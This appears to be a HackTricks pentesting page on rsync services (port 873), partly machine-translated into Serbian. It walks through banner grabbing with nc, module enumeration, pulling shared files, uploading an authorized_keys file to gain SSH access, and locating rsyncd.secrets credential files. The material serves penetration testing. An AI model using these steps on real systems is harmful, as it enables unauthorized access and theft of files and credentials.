6.3 KiB
873 - Pentesting Rsync
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Osnovne informacije
From wikipedia:
rsync je alat za efikasno prenos i sinhronizaciju fajlova između računara i eksternog hard diska i preko umreženih računara upoređujući vremena izmene i veličine fajlova.[3] Obično se nalazi na Unix-like operativnim sistemima. Rsync algoritam je vrsta delta kodiranja i koristi se za minimiziranje korišćenja mreže. Zlib se može koristiti za dodatnu kompresiju podataka,[3] a SSH ili stunnel mogu se koristiti za bezbednost.
Podrazumevani port: 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
Enumeration
Banner & Manual communication
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
Enumerating Shared Folders
Rsync moduli se prepoznaju kao deljene fascikle koje mogu biti zaštićene lozinkama. Da bi se identifikovali dostupni moduli i proverilo da li zahtevaju lozinke, koriste se sledeće komande:
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
Budite svesni da neki delovi možda neće biti prikazani na listi, što ih može sakriti. Pored toga, pristup nekim delovima može biti ograničen na specifične credentials, što je označeno porukom "Access Denied".
Brute Force
Ručna Rsync Upotreba
Nakon dobijanja module list, akcije zavise od toga da li je potrebna autentifikacija. Bez autentifikacije, listing i copying fajlova iz deljenog foldera u lokalni direktorijum se postiže kroz:
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
Ovaj proces rekurzivno prenosi fajlove, čuvajući njihove atribute i dozvole.
Sa akreditivima, listanje i preuzimanje iz deljenog foldera može se uraditi na sledeći način, gde će se pojaviti prozor za unos lozinke:
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
Da otpremite sadržaj, kao što je authorized_keys datoteka za pristup, koristite:
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
POST
Da biste locirali rsyncd konfiguracioni fajl, izvršite:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
Within this file, a secrets file parameter might point to a file containing korisnička imena i lozinke for rsyncd authentication.
References
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.